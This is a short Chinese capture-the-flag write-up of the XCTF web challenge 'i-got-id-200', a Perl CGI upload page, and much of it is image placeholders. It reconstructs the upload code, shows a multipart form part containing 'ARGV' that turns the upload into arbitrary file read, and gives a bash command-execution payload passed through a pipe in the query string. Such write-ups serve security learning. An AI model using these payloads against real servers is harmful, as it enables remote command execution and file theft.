攻防世界XCTF:i-got-id-200

攻防世界XCTF:i-got-id-200_第1张图片
攻防世界XCTF:i-got-id-200_第2张图片
Perl写的站,三个链接页面内容如下:
攻防世界XCTF:i-got-id-200_第3张图片
攻防世界XCTF:i-got-id-200_第4张图片
攻防世界XCTF:i-got-id-200_第5张图片
直接来到上传,随便先上传一个文件。
他把上传的文件内容返回出来了,猜测后台源码逻辑

use strict;
use warnings; 
use CGI;
my $cgi= CGI->new;
if ( $cgi->upload( 'file' ) ) { 
	my $file= $cgi->param( 'file' );
	 while ( <$file> ) { print "$_"; }
} 

param()函数会返回一个列表的文件但是只有第一个文件会被放入到下面的file变量中。如果我们传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。对正常的上传文件进行修改,可以达到读取任意文件的目的;
攻防世界XCTF:i-got-id-200_第6张图片
在包里增加一个ARGV内容,并且猜测file.pl位于 var/www/cgi-bin/目录下
ARGV内容如下:

-----------------------------1248478904583
Content-Disposition: form-data; name="file";
Content-Type: application/octet-stream

ARGV

攻防世界XCTF:i-got-id-200_第7张图片

传入payload:?/bin/bash%20-c%20ls${IFS}/|

攻防世界XCTF:i-got-id-200_第8张图片
读取flag

攻防世界XCTF:i-got-id-200_第9张图片

你可能感兴趣的:(CTF_WEB_Writeup)